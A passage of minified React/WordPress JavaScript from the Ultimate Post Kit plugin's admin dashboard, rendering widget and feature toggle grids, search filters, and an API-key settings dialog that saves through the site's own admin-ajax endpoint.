used","ultimate-post-kit"),o.length):null,pillTone:"green"}),(0,e.createElement)(wt,{icon:Fe,accent:"green",value:i,label:(0,_e.__)("Widgets enabled","ultimate-post-kit"),pill:(0,_e.__)("live","ultimate-post-kit"),pillTone:"blue"}),(0,e.createElement)(wt,{icon:ze,accent:"woo",value:l,label:(0,_e.__)("Extensions active","ultimate-post-kit"),pill:(0,_e.sprintf)(/* translators: %d: total */ /* translators: %d: total */(0,_e.__)("of %d","ultimate-post-kit"),a.length)}),(0,e.createElement)(wt,{icon:De,accent:"amber",value:s,label:(0,_e.__)("Features active","ultimate-post-kit"),pill:(0,_e.sprintf)(/* translators: %d: total */ /* translators: %d: total */(0,_e.__)("of %d","ultimate-post-kit"),n.length)})),(0,e.createElement)(Nt,{metrics:x}),(0,e.createElement)("div",{className:"grid grid-cols-[1.6fr_1fr] max-[1024px]:grid-cols-1 gap-4 mt-4 items-start"},(0,e.createElement)("div",{className:"flex flex-col gap-4"},(0,e.createElement)(Mt,{actions:b}),(0,e.createElement)(Rt,{widgets:f}),(0,e.createElement)(Tt,null)),(0,e.createElement)("div",{className:"flex flex-col gap-4"},(0,e.createElement)(Ot,null),(0,e.createElement)(At,null),(0,e.createElement)(jt,null),(0,e.createElement)(It,null))))}const ra={grid:{label:(0,_e.__)("Grid","ultimate-post-kit"),accent:"blue"},carousel:{label:(0,_e.__)("Carousel","ultimate-post-kit"),accent:"teal"},list:{label:(0,_e.__)("List","ultimate-post-kit"),accent:"violet"},slider:{label:(0,_e.__)("Slider","ultimate-post-kit"),accent:"sky"},tabs:{label:(0,_e.__)("Tabs","ultimate-post-kit"),accent:"amber"},timeline:{label:(0,_e.__)("Timeline","ultimate-post-kit"),accent:"indigo"},loop:{label:(0,_e.__)("Loop","ultimate-post-kit"),accent:"woo"},"template-builder":{label:(0,_e.__)("Template Builder","ultimate-post-kit"),accent:"green"},others:{label:(0,_e.__)("Others","ultimate-post-kit"),accent:"rose"}};function la(e){return String(e.content_type||"").toLowerCase().split(/\s+/).filter(Boolean)}function ia(e){return la(e).includes("new")}function oa(e){return la(e).find(e=>ra[e])||"others"}function sa({value:t,onChange:a,placeholder:n,className:r=""}){return(0,e.createElement)("div",{className:`relative ${r}`},(0,e.createElement)("span",{className:"absolute left-[14px] top-1/2 -translate-y-1/2 text-[#6d6d74] dark:text-ink-muted pointer-events-none"},(0,e.createElement)(Ue,{size:16})),(0,e.createElement)("input",{type:"text",value:t||"",onChange:e=>a(e.target.value),placeholder:n,className:"w-full py-[11px] pr-9 pl-10 border border-[#e2e2e6] dark:border-[#2a313c] rounded-full text-sm bg-white dark:bg-ink-card text-[#18181b] dark:text-ink-text outline-none transition-shadow placeholder:text-[#6d6d74] dark:placeholder:text-ink-muted focus:border-brand focus:shadow-[0_0_0_3px_rgba(8,201,114,.15)]"}),t?(0,e.createElement)("button",{type:"button",onClick:()=>a(""),"aria-label":(0,_e.__)("Clear search","ultimate-post-kit"),className:"absolute right-[10px] top-1/2 -translate-y-1/2 text-[#6d6d74] dark:text-ink-muted cursor-pointer hover:text-[#52525b] dark:hover:text-ink-text"},(0,e.createElement)(Ye,{size:14})):null)}function ca({active:t=!1,onClick:a,count:n,children:r}){return(0,e.createElement)("button",{type:"button",onClick:a,className:"flex items-center gap-[7px] py-[7px] px-[14px] rounded-full text-[13px] font-semibold cursor-pointer border transition-all duration-150 "+(t?"bg-brand text-white border-brand":"bg-white dark:bg-ink-card text-[#52525b] dark:text-ink-muted border-[#e2e2e6] dark:border-[#2a313c] hover:border-brand hover:text-brand")},r,void 0!==n?(0,e.createElement)("span",{className:"text-[11px] font-bold opacity-90"},n):null)}function da({value:t,onChange:a,options:n}){return(0,e.createElement)("div",{className:"flex items-center gap-[2px] bg-[#f4f5f7] dark:bg-ink-subtle border border-[#e6e6ea] dark:border-ink-border rounded-full p-1"},n.map(n=>{const r=t===n.value;return(0,e.createElement)("button",{key:n.value,type:"button",onClick:()=>a(n.value),className:"flex items-center gap-[6px] border-0 rounded-full py-[7px] px-[14px] font-sans text-[12.5px] cursor-pointer transition-colors "+(r?"bg-brand text-white font-bold shadow-[0_2px_8px_rgba(8,201,114,.35)]":"bg-transparent text-[#6c6c75] dark:text-ink-muted font-semibold hover:text-[#18181b] dark:hover:text-ink-text")},n.label,void 0!==n.count?(0,e.createElement)("span",{className:"text-[10.5px] font-extrabold "+(r?"text-white":"text-[#6d6d74] dark:text-ink-muted")},n.count):null)}))}function ma({search:t,onSearch:a,searchPlaceholder:n,type:r,onType:l,usage:i,onUsage:o,showUsage:s,counts:c={},categories:d,category:m,onCategory:u}){return(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card mb-[18px] overflow-hidden"},(0,e.createElement)("div",{className:"flex items-center justify-between gap-3 flex-wrap py-[13px] px-[16px]"},(0,e.createElement)(sa,{value:t,onChange:a,placeholder:n,className:"flex-1 min-w-[220px] max-w-[380px]"}),(0,e.createElement)("div",{className:"flex items-center gap-[10px] flex-wrap"},(0,e.createElement)(da,{value:r,onChange:l,options:[{value:"all",label:(0,_e.__)("All","ultimate-post-kit"),count:c.all},...c.new?[{value:"new",label:(0,_e.__)("New","ultimate-post-kit"),count:c.new}]:[],{value:"free",label:(0,_e.__)("Free","ultimate-post-kit"),count:c.free},{value:"pro",label:(0,_e.__)("Pro","ultimate-post-kit"),count:c.pro}]}),s?(0,e.createElement)(da,{value:i,onChange:o,options:[{value:"all",label:(0,_e.__)("Any usage","ultimate-post-kit")},{value:"used",label:(0,_e.__)("Used","ultimate-post-kit"),count:c.used},{value:"unused",label:(0,_e.__)("Unused","ultimate-post-kit"),count:c.unused}]}):null)),d&&d.length>0?(0,e.createElement)("div",{className:"flex gap-2 flex-wrap items-center py-[11px] px-[16px] border-t border-[#f1f1f4] dark:border-ink-border bg-[#fafbfc] dark:bg-ink-subtle"},(0,e.createElement)(ca,{active:"all"===m,onClick:()=>u("all")},(0,_e.__)("All categories","ultimate-post-kit")),d.map(t=>(0,e.createElement)(ca,{key:t.key,active:m===t.key,onClick:()=>u(t.key),count:t.count},t.label))):null)}function ua(){return(0,e.createElement)("span",{className:"text-[9px] font-extrabold tracking-[.04em] text-[#e8590c] dark:text-[#86efac] bg-[rgba(8,201,114,.1)] py-[2px] px-[6px] rounded-full flex-none"},"PRO")}const pa={success:"text-[#15803d] bg-[#ecfdf3] dark:text-[#4ade80] dark:bg-[#0f2318]",danger:"text-[#da1c46] bg-[#fff1f3] dark:text-[#fda4af] dark:bg-[#2b141a]",warning:"text-[#b45309] bg-[#fff7ed] dark:text-[#fdba74] dark:bg-[#2a1c0e]",info:"text-[#1d4ed8] bg-[#eff6ff] dark:text-[#93c5fd] dark:bg-[#15233a]",neutral:"text-[#6c6c75] bg-[#f4f4f6] dark:text-ink-muted dark:bg-ink-subtle"};function xa({tone:t="neutral",className:a="",children:n}){return(0,e.createElement)("span",{className:`text-[9.5px] font-extrabold py-[2px] px-2 rounded-full flex-none ${pa[t]||pa.neutral} ${a}`},n)}const ba=(0,t.memo)(function({module:t,checked:a,onToggle:n}){const r=t.category_label?{label:t.category_label,accent:t.accent||"blue"}:function(e){return ra[oa(e)]}(t),l=!1===t.plugin_active,i=!(!t.description&&!t.is_locked),o=i?`upk-tip-${String(t.key||t.name).replace(/[^a-z0-9_-]/gi,"-")}`:void 0;return(0,e.createElement)("div",{className:"relative group grid grid-cols-[44px_minmax(0,1fr)_auto] items-center gap-[14px] border rounded-panel py-4 px-[16px] transition-all duration-200 hover:-translate-y-[1px] "+(t.is_locked?"bg-[#fffafa] dark:bg-[#1d1719] border-[#f7e3e7] dark:border-[#3a262b]":"bg-white dark:bg-ink-card border-[#ececf0] dark:border-ink-border hover:border-[#bfeccf] dark:hover:border-[#1f5a3a] hover:shadow-[0_8px_20px_-12px_rgba(8,201,114,.35)]")},i?(0,e.createElement)("div",{id:o,role:"tooltip",className:"pointer-events-none absolute bottom-full left-1/2 -translate-x-1/2 mb-[10px] w-max max-w-[300px] text-left [background:linear-gradient(180deg,#1c212b,#0f1115)] text-white/95 text-[12px] font-medium leading-[1.55] rounded-[10px] py-[9px] px-[13px] ring-1 ring-white/10 shadow-[0_12px_28px_-8px_rgba(0,0,0,.45)] z-20 origin-bottom opacity-0 translate-y-[6px] scale-[.94] transition-all duration-200 ease-upk delay-0 group-hover:opacity-100 group-hover:translate-y-0 group-hover:scale-100 group-hover:delay-200 group-focus-within:opacity-100 group-focus-within:translate-y-0 group-focus-within:scale-100"},t.is_locked?(0,_e.__)("This widget is provided by the separate Ultimate Post Kit Pro plugin.","ultimate-post-kit"):t.description,(0,e.createElement)("span",{className:"absolute top-full left-1/2 -translate-x-1/2 -mt-px border-[6px] border-transparent border-t-[#0f1115]"})):null,(0,e.createElement)("span",{className:`w-11 h-11 rounded-[12px] flex-none grid place-items-center ${gt(r.accent)}`},(0,e.createElement)(mt,{name:t.icon||t.name,size:24})),(0,e.createElement)("div",{className:"min-w-0"},(0,e.createElement)("div",{className:"text-[14px] font-bold text-[#1a1a1f] dark:text-ink-text tracking-[-.01em] whitespace-nowrap overflow-hidden text-ellipsis"},t.label),(0,e.createElement)("div",{className:"flex flex-wrap items-center gap-x-[6px] gap-y-[2px] text-[11.5px] text-[#6d6d74] dark:text-ink-muted mt-[3px] whitespace-nowrap"},(0,e.createElement)("span",{className:"font-medium text-[#6d6d74] dark:text-ink-muted"},r.label),t.usage_count>0?(0,e.createElement)("span",{className:"inline-flex items-center gap-[6px]"},(0,e.createElement)("span",{className:"text-[#d4d4d8]"},"Ā·"),(0,e.createElement)("span",{className:"text-[#15803d] dark:text-[#4ade80] font-bold"},(0,_e.sprintf)(/* translators: %d: number of times the widget is used */ /* translators: %d: number of times the widget is used */
(0,_e.__)("Used %d","ultimate-post-kit"),t.usage_count))):null,t.demo_url?(0,e.createElement)("span",{className:"inline-flex items-center gap-[6px]"},(0,e.createElement)("span",{className:"text-[#d4d4d8]"},"Ā·"),(0,e.createElement)("a",{href:t.demo_url,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-[3px] font-semibold text-[#6d6d74] dark:text-ink-muted hover:text-brand"},(0,_e.__)("Demo","ultimate-post-kit"),(0,e.createElement)(Be,{size:10}))):null,t.video_url?(0,e.createElement)("span",{className:"inline-flex items-center gap-[6px]"},(0,e.createElement)("span",{className:"text-[#d4d4d8]"},"Ā·"),(0,e.createElement)("a",{href:t.video_url,target:"_blank",rel:"noreferrer",className:"inline-flex items-center gap-[3px] font-semibold text-[#6d6d74] dark:text-ink-muted hover:text-brand"},(0,_e.__)("Video","ultimate-post-kit"),(0,e.createElement)(Be,{size:10}))):null)),(0,e.createElement)("div",{className:"flex items-center gap-[10px] flex-none"},ia(t)?(0,e.createElement)("span",{className:"text-[8.5px] font-extrabold tracking-[.08em] uppercase text-[#da1c46] bg-[#fff1f2] dark:bg-[#2a0e14] dark:text-[#fda4af] py-[2px] px-[7px] rounded-full flex-none"},(0,_e.__)("New","ultimate-post-kit")):null,"pro"===t.widget_type?(0,e.createElement)(ua,null):null,t.is_locked?(0,e.createElement)("a",{href:ye.pricingUrl,target:"_blank",rel:"noreferrer",className:"text-[#6d6d74] dark:text-ink-muted hover:text-brand","aria-label":(0,_e.sprintf)(/* translators: %s: widget name */ /* translators: %s: widget name */
(0,_e.__)("%s is available in Ultimate Post Kit Pro","ultimate-post-kit"),t.label)},(0,e.createElement)(Qe,{size:18})):l?t.action_url?(0,e.createElement)("a",{href:t.action_url,target:"download"===t.action?"_blank":void 0,rel:"download"===t.action?"noreferrer":void 0,title:"activate"===t.action?(0,_e.__)("Activate the plugin first, then you can enable this widget.","ultimate-post-kit"):(0,_e.__)("Install the plugin first, then you can enable this widget.","ultimate-post-kit"),className:"w-[30px] h-[30px] rounded-full flex-none grid place-items-center bg-[#fff1f2] text-[#da1c46] dark:bg-[#2a0e14] dark:text-[#fda4af] transition-colors hover:bg-[#e11d48] hover:text-white"},"activate"===t.action?(0,e.createElement)(st,{size:15}):(0,e.createElement)(Ze,{size:15})):null:(0,e.createElement)(Gt,{size:"sm",checked:a,onChange:()=>n(t.key||t.name),label:t.label,describedBy:o})))});function fa({modules:t,draft:a,onToggle:n}){return(0,e.createElement)("div",{className:"grid grid-cols-3 max-[1150px]:grid-cols-2 max-[700px]:grid-cols-1 gap-3"},t.map(t=>(0,e.createElement)(ba,{key:t.key||t.name,module:t,checked:!!a[t.key||t.name],onToggle:n})))}const ga={gradient:"bg-gradient-brand text-white font-extrabold shadow-glow hover:-translate-y-px hover:shadow-glow-lg border-0",outline:"bg-white dark:bg-ink-card border border-[#e2e2e6] dark:border-[#2a313c] text-[#3f3f46] dark:text-[#cdd0d6] font-bold hover:border-brand hover:text-brand",danger:"bg-white dark:bg-ink-card border border-[#e2e2e6] dark:border-[#2a313c] text-[#3f3f46] dark:text-[#cdd0d6] font-bold hover:border-[#f43f5e] hover:text-[#da1c46]","danger-solid":"bg-white dark:bg-ink-card border-[1.5px] border-[#f43f5e] text-[#da1c46] dark:text-[#fb7185] font-extrabold hover:bg-[#e11d48] hover:text-white",ghost:"bg-transparent border-0 text-brand font-bold hover:underline p-0"},ka={sm:"py-2 px-[14px] text-[13px]",md:"py-[10px] px-[15px] text-[13px]",lg:"py-3 px-[22px] text-[13.5px]"};function ha({variant:t="outline",size:a="md",icon:n,iconSize:r=15,className:l="",children:i,type:o="button",...s}){const c="ghost"===t?"":ka[a]||ka.md;return(0,e.createElement)("button",{type:o,className:`inline-flex items-center justify-center gap-[7px] rounded-full cursor-pointer transition-all duration-200 disabled:opacity-50 disabled:cursor-not-allowed ${ga[t]||ga.outline} ${c} ${l}`,...s},n?(0,e.createElement)(n,{size:r}):null,i)}function _a({activeCount:t,total:a,scopeCount:n=null,isSaving:r,onActivateAll:l,onDeactivateAll:i}){const o="number"==typeof n,s=o?(0,_e.sprintf)(/* translators: %d: number of widgets matching the filters */ /* translators: %d: number of widgets matching the filters */
(0,_e.__)("Applies to the %d items matching your filters.","ultimate-post-kit"),n):void 0,c=o?(0,e.createElement)("span",{className:"text-[11px] font-extrabold opacity-90"},n):null;return(0,e.createElement)("div",{className:"flex items-center gap-[9px] flex-wrap"},(0,e.createElement)("span",{className:"flex items-center gap-[7px] text-[13px] font-bold text-[#15803d] dark:text-[#4ade80] bg-[#ecfdf3] dark:bg-[#0f2318] border border-[#c6f0d4] dark:border-[#1d4030] py-2 px-[13px] rounded-full"},(0,e.createElement)("span",{className:"w-2 h-2 rounded-full bg-[#22c55e] shadow-[0_0_0_3px_rgba(34,197,94,.2)]"}),(0,_e.sprintf)(/* translators: 1: active count, 2: total count */ /* translators: 1: active count, 2: total count */
(0,_e.__)("%1$d of %2$d active","ultimate-post-kit"),t,a)),(0,e.createElement)(ha,{variant:"outline",size:"sm",onClick:l,disabled:r||0===n,title:s},o?(0,_e.__)("Enable filtered","ultimate-post-kit"):(0,_e.__)("Enable all","ultimate-post-kit"),c),(0,e.createElement)(ha,{variant:"danger",size:"sm",onClick:i,disabled:r||0===n,title:s},o?(0,_e.__)("Disable filtered","ultimate-post-kit"):(0,_e.__)("Disable all","ultimate-post-kit"),c))}function Ea({section:a,title:n,subtitle:r}){const{fields:l,switchable:i,draft:o,toggle:s,setAll:c,isDirty:d,activeCount:m,save:u,reset:p,isSaving:x,error:b}=Ft(a),[f,g]=(0,t.useState)(""),[k,h]=(0,t.useState)("all"),[_,E]=(0,t.useState)("all"),[v]=function(t){let a=e.useRef(me(t)),n=e.useRef(!1),r=B(),l=e.useMemo(()=>function(e,t){let a=me(e);return t&&t.forEach((e,n)=>{a.has(n)||t.getAll(n).forEach(e=>{a.append(n,e)})}),a}(r.search,n.current?null:a.current),[r.search]),i=J(),o=e.useCallback((e,t)=>{const a=me("function"==typeof e?e(l):e);n.current=!0,i("?"+a,t)},[i,l]);return[l,o]}(),[w,y]=(0,t.useState)(()=>v.get("category")||"all");(0,t.useEffect)(()=>{y(v.get("category")||"all")},[v]);const N=Vt(),M=l.some(e=>e.has_usage)&&l.some(e=>e.usage_count>0),C=(0,t.useMemo)(()=>{const e={all:l.length,free:0,pro:0,new:0,used:0,unused:0};return l.forEach(t=>{e["pro"===t.widget_type?"pro":"free"]+=1,ia(t)&&(e.new+=1),e[t.usage_count>0?"used":"unused"]+=1}),e},[l]),S=(0,t.useMemo)(()=>{const e={};l.forEach(t=>{const a=oa(t);e[a]=(e[a]||0)+1});const t=Object.keys(ra).filter(t=>e[t]>0);return t.length>1?t.map(t=>({key:t,label:ra[t].label,count:e[t]})):[]},[l]),L=(0,t.useMemo)(()=>{const e=f.trim().toLowerCase();return l.filter(t=>!("new"===k&&!ia(t))&&("free"!==k&&"pro"!==k||t.widget_type===k)&&("all"===w||oa(t)===w)&&(!M||"used"!==_||t.usage_count>0)&&!(M&&"unused"===_&&t.usage_count>0)&&(!e||t.label.toLowerCase().includes(e)))},[l,k,_,f,w,M]);return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:n,subtitle:r||(0,_e.sprintf)(/* translators: 1: active count, 2: total count */ /* translators: 1: active count, 2: total count */
(0,_e.__)("%1$d of %2$d enabled Ā· disable unused items for faster pages.","ultimate-post-kit"),m,i.length),actions:l.length?(0,e.createElement)(_a,{activeCount:m,total:i.length,scopeCount:L.length===l.length?null:L.length,isSaving:x,onActivateAll:()=>c(!0,L.filter(e=>!1!==e.plugin_active)),onDeactivateAll:()=>c(!1,L)}):null}),!ye.isPro&&C.pro>0?(0,e.createElement)(Ht,{tone:"info",className:"mb-4"},(0,_e.__)("Items marked PRO are part of the separate Ultimate Post Kit Pro plugin and switch on once it is active.","ultimate-post-kit")," ",(0,e.createElement)("a",{href:ye.pricingUrl,target:"_blank",rel:"noreferrer",className:"font-bold underline"},(0,_e.__)("See Ultimate Post Kit Pro","ultimate-post-kit"))):null,b?(0,e.createElement)(Ht,{tone:"error",className:"mb-4"},b.message):null,(0,e.createElement)(ma,{search:f,onSearch:g,searchPlaceholder:"ultimate_post_kit_elementor_extend"===a?(0,_e.__)("Search extensions…","ultimate-post-kit"):(0,_e.__)("Search widgets…","ultimate-post-kit"),type:k,onType:h,usage:_,onUsage:E,showUsage:M,counts:C,categories:S,category:w,onCategory:y}),0===L.length?(0,e.createElement)(Qt,{title:(0,_e.__)("No widgets match your filters","ultimate-post-kit"),action:f?(0,e.createElement)(ha,{variant:"ghost",onClick:()=>g("")},(0,_e.__)("Clear search","ultimate-post-kit")):null}):(0,e.createElement)(fa,{modules:L,draft:o,onToggle:s}),0===i.length?null:(0,e.createElement)(Jt,{visible:d,saving:x,onSave:async()=>{try{await u(),N((0,_e.__)("Settings saved.","ultimate-post-kit"))}catch(e){N(e.message,{tone:"error"})}},onReset:p}))}const va={"live-copy":{label:(0,_e.__)("Editor","ultimate-post-kit"),accent:"blue"},duplicator:{label:(0,_e.__)("Content","ultimate-post-kit"),accent:"violet"},"dynamic-content":{label:(0,_e.__)("Content","ultimate-post-kit"),accent:"violet"},category_image:{label:(0,_e.__)("Taxonomy","ultimate-post-kit"),accent:"teal"},audio_link:{label:(0,_e.__)("Media","ultimate-post-kit"),accent:"rose"},video_link:{label:(0,_e.__)("Media","ultimate-post-kit"),accent:"rose"},news_feed:{label:(0,_e.__)("Dashboard","ultimate-post-kit"),accent:"sky",icon:"news-ticker"}};function wa(){const a=Ft("ultimate_post_kit_other_settings"),{draft:n,toggle:r,setAll:l,isDirty:i,save:o,reset:s,isSaving:c,error:d}=a,[m,u]=(0,t.useState)(""),p=Vt(),x=a.fields.filter(e=>e.name!==Xt).map(e=>{const t=va[e.name]||{label:(0,_e.__)("Feature","ultimate-post-kit"),accent:"amber"};return{...e,label:e.group&&e.group.title||e.label,category_label:t.label,accent:t.accent,icon:t.icon}}),b=x.filter(e=>!e.is_locked),f=b.filter(e=>n[e.key]).length,g=m.trim().toLowerCase(),k=x.filter(e=>!g||[e.label,e.description].some(e=>String(e||"").toLowerCase().includes(g)));return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("Features","ultimate-post-kit"),subtitle:(0,_e.__)("Enable bundled features that extend Ultimate Post Kit beyond individual widgets.","ultimate-post-kit"),actions:(0,e.createElement)(_a,{activeCount:f,total:b.length,isSaving:c,onActivateAll:()=>l(!0,x),onDeactivateAll:()=>l(!1,x)})}),(0,e.createElement)("div",{className:"flex flex-col gap-4"},(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card py-[13px] px-[16px] flex items-center justify-between gap-3 flex-wrap"},(0,e.createElement)(sa,{value:m,onChange:u,placeholder:(0,_e.__)("Search features…","ultimate-post-kit"),className:"flex-1 min-w-[220px] max-w-[380px]"}),(0,e.createElement)("span",{className:"text-[12.5px] font-semibold text-[#6d6d74] dark:text-ink-muted"},(0,_e.sprintf)(/* translators: %d: feature count */ /* translators: %d: feature count */
(0,_e.__)("%d features","ultimate-post-kit"),k.length))),d?(0,e.createElement)(Ht,{tone:"error"},d.message):null,k.length>0?(0,e.createElement)(fa,{modules:k,draft:n,onToggle:r}):(0,e.createElement)("div",{className:"text-center py-[60px] px-5 bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card"},(0,e.createElement)("div",{className:"text-[15px] font-bold text-[#6c6c75] dark:text-ink-muted"},(0,_e.sprintf)(/* translators: %s: search query */ /* translators: %s: search query */
(0,_e.__)("No features match ā€œ%sā€","ultimate-post-kit"),m)),(0,e.createElement)("button",{type:"button",onClick:()=>u(""),className:"mt-3 text-brand font-bold cursor-pointer text-[13px]"},(0,_e.__)("Clear search","ultimate-post-kit"))),(0,e.createElement)(Jt,{visible:i,saving:c,onSave:async()=>{try{await o(),p((0,_e.__)("Changes saved.","ultimate-post-kit"))}catch(e){p(e.message,{tone:"error"})}},onReset:s})))}const ya="ultimate_post_kit_api_settings",Na=[{match:"mailchimp",color:"#ff9c00",category:(0,_e.__)("Marketing","ultimate-post-kit")},{match:"instagram",color:"#e1306c",category:(0,_e.__)("Social","ultimate-post-kit")}];function Ma(e){return""!==String(null!=e?e:"").trim()}const Ca={connected:{color:"text-[#15803d] bg-[#ecfdf3] dark:bg-[#0f2318] dark:text-[#4ade80]",dot:"bg-[#22c55e]"},partial:{color:"text-[#b45309] bg-[#fff7ed] dark:bg-[#2a1c0e] dark:text-[#fdba74]",dot:"bg-[#f59e0b]"},empty:{color:"text-[#6d6d74] bg-[#f4f4f5] dark:bg-ink-subtle dark:text-ink-muted",dot:"bg-[#d4d4d8]"}};function Sa({status:t}){const a=Ca[t]||Ca.empty;return(0,e.createElement)("span",{className:`inline-flex items-center gap-[6px] text-[10px] font-extrabold py-[2px] px-[9px] rounded-full ${a.color}`},(0,e.createElement)("span",{className:`w-[6px] h-[6px] rounded-full ${a.dot}`}),function(e){return"connected"===e?(0,_e.__)("Connected","ultimate-post-kit"):"partial"===e?(0,_e.__)("Incomplete","ultimate-post-kit"):(0,_e.__)("Not set","ultimate-post-kit")}(t))}function La({group:t}){return(0,e.createElement)("span",{className:"w-[46px] h-[46px] rounded-[12px] flex-none grid place-items-center text-white font-extrabold text-[17px] shadow-[inset_0_0_0_1px_rgba(255,255,255,.14)]",style:{background:t.meta.color},"aria-hidden":"true"},t.label.charAt(0).toUpperCase())}function ja({field:a,value:n,onChange:r}){const[l,i]=(0,t.useState)(!1),o=`upk-api-${a.name}`;return(0,e.createElement)("div",{className:"py-4 px-6 border-b border-[#f1f1f4] dark:border-ink-border last:border-b-0"},(0,e.createElement)("label",{htmlFor:o,className:"block text-[13px] font-bold text-[#27272a] dark:text-ink-text mb-2"},a.label),(0,e.createElement)("div",{className:"flex gap-2"},(0,e.createElement)("input",{id:o,type:l?"text":"password",value:n,onChange:e=>r(a.name,e.target.value),placeholder:a.placeholder||"",autoComplete:"off",spellCheck:!1,className:"flex-1 min-w-0 py-[10px] px-[14px] border border-[#e2e2e6] dark:border-ink-border rounded-btn font-mono text-[13px] bg-white dark:bg-ink-subtle text-[#1a1a1f] dark:text-ink-text outline-none transition-shadow focus:border-brand focus:shadow-[0_0_0_3px_rgba(8,201,114,.15)]"}),(0,e.createElement)("button",{type:"button",onClick:()=>i(e=>!e),"aria-controls":o,"aria-pressed":l,className:"flex-none py-[10px] px-[14px] rounded-btn border border-[#e2e2e6] dark:border-ink-border text-[12.5px] font-bold text-[#52525b] dark:text-ink-muted hover:border-brand hover:text-brand"},l?(0,_e.__)("Hide","ultimate-post-kit"):(0,_e.__)("Show","ultimate-post-kit"))),a.desc?(0,e.createElement)("p",{className:"upk-rich-desc text-[12px] text-[#6d6d74] dark:text-ink-muted mt-2 mb-0 leading-[1.5]",dangerouslySetInnerHTML:{__html:a.desc}}):null)}function Ia({group:a,values:n,onChange:r,onClose:l,onSave:i,isDirty:o,isSaving:s}){const c=(0,t.useRef)(null),d=a?a.key:null;if((0,t.useEffect)(()=>{if(!d)return;const e=document.activeElement,t=e=>{"Escape"===e.key&&l()};document.addEventListener("keydown",t);const a=c.current,n=a&&(a.querySelector("input")||a.querySelector("button"));return n&&n.focus(),()=>{document.removeEventListener("keydown",t),e&&e.focus&&e.focus()}},[d,l]),!a)return null;const m=`upk-api-dialog-${a.key}`;return(0,e.createElement)("div",{className:"fixed inset-0 z-[100000] grid place-items-center p-5 bg-[rgba(9,9,11,.6)] backdrop-blur-sm animate-upk-fade-up",onClick:e=>{e.target===e.currentTarget&&l()},role:"presentation"},(0,e.createElement)("div",{ref:c,role:"dialog","aria-modal":"true","aria-labelledby":m,className:"w-full max-w-[640px] max-h-[86vh] overflow-y-auto bg-white dark:bg-ink-card rounded-sheet shadow-sheet animate-upk-pop"},(0,e.createElement)("div",{className:"flex items-center gap-[15px] py-5 px-6 border-b border-[#f1f1f4] dark:border-ink-border sticky top-0 bg-white dark:bg-ink-card z-10"},(0,e.createElement)(La,{group:a}),(0,e.createElement)("div",{className:"flex-1 min-w-0"},(0,e.createElement)("div",{className:"flex items-center gap-2 flex-wrap"},(0,e.createElement)("h2",{id:m,className:"text-[16px] font-extrabold text-[#0f1115] dark:text-ink-text"},a.label),(0,e.createElement)(Sa,{status:a.status})),a.desc?(0,e.createElement)("p",{className:"upk-rich-desc text-[12.5px] text-[#6d6d74] dark:text-ink-muted mt-1 mb-0 leading-[1.5] break-words",dangerouslySetInnerHTML:{__html:a.desc}}):null),(0,e.createElement)("button",{type:"button",onClick:l,"aria-label":(0,_e.__)("Close","ultimate-post-kit"),className:"w-9 h-9 rounded-full flex-none grid place-items-center bg-[#f4f5f7] dark:bg-ink-subtle text-[#52525b] dark:text-ink-muted hover:text-[#0f1115] dark:hover:text-ink-text"},(0,e.createElement)(Ye,{size:16}))),(0,e.createElement)("div",null,a.inputs.map(t=>{var a;return(0,e.createElement)(ja,{key:t.name,field:t,value:null!==(a=n[t.name])&&void 0!==a?a:"",onChange:r})})),(0,e.createElement)("div",{className:"flex items-center justify-between gap-3 py-4 px-6 border-t border-[#f1f1f4] dark:border-ink-border sticky bottom-0 bg-white dark:bg-ink-card flex-wrap"},(0,e.createElement)("span",{className:"text-[11.5px] text-[#6d6d74] dark:text-ink-muted"},(0,_e.sprintf)(/* translators: 1: filled count, 2: total fields */ /* translators: 1: filled count, 2: total fields */
(0,_e.__)("%1$d of %2$d fields filled","ultimate-post-kit"),a.filled,a.inputs.length)),(0,e.createElement)("div",{className:"flex gap-[10px]"},(0,e.createElement)("button",{type:"button",onClick:l,className:"bg-white dark:bg-ink-card border border-[#e2e2e6] dark:border-ink-border text-[#3f3f46] dark:text-ink-text py-[10px] px-[18px] rounded-full text-[13px] font-bold hover:border-brand hover:text-brand"},(0,_e.__)("Close","ultimate-post-kit")),(0,e.createElement)("button",{type:"button",disabled:!o||s,onClick:i,className:"flex items-center gap-[7px] bg-gradient-brand text-white py-[10px] px-[22px] rounded-full text-[13px] font-extrabold shadow-glow disabled:opacity-50 disabled:cursor-not-allowed"},(0,e.createElement)(We,{size:14,strokeWidth:2.4}),s?(0,_e.__)("Saving…","ultimate-post-kit"):(0,_e.__)("Save changes","ultimate-post-kit"))))))}function za(){const a=ve[ya]||{},n=(0,t.useMemo)(()=>a.groups||[],[a.groups]),r=(0,t.useMemo)(()=>a.inputs||[],[a.inputs]),l=Vt(),i=(0,t.useMemo)(()=>{const e={};return r.forEach(t=>{var n;e[t.name]=String(null!==(n=(a.stored||{})[t.name])&&void 0!==n?n:"")}),e},[r,a.stored]),[o,s]=(0,t.useState)(i),[c,d]=(0,t.useState)(i),[m,u]=(0,t.useState)(!1),[p,x]=(0,t.useState)(null),[b,f]=(0,t.useState)(null),g=Object.keys(c).some(e=>c[e]!==o[e]),k=n.map(e=>{const t=r.filter(t=>t.group===e.key),a=t.filter(e=>Ma(c[e.name])).length;let n="empty";return t.length&&a===t.length?n="connected":a>0&&(n="partial"),{...e,inputs:t,filled:a,status:n,meta:(l=e.key,Na.find(e=>String(l).includes(e.match))||{color:"#00a85c",category:(0,_e.__)("Other","ultimate-post-kit")})};var l}),h=k.filter(e=>"connected"===e.status).length,_=r.length?Math.round(r.filter(e=>Ma(c[e.name])).length/r.length*100):0,E=b&&k.find(e=>e.key===b)||null,v=(0,t.useCallback)((e,t)=>d(a=>({...a,[e]:t})),[]),w=(0,t.useCallback)(()=>f(null),[]),y=async()=>{u(!0),x(null);try{const e=await async function(e){const t=ve[ya]||{},a={...t.stored||{},...e},n=new window.FormData;n.append("action","ultimate_post_kit_settings_save"),n.append("_wpnonce",ye.saveNonce||""),n.append("id",ya),Object.keys(a).forEach(e=>{n.append(`${ya}[${e}]`,a[e])});const r=await window.fetch(ye.ajaxUrl,{method:"POST",credentials:"same-origin",body:n});let l=null;try{l=await 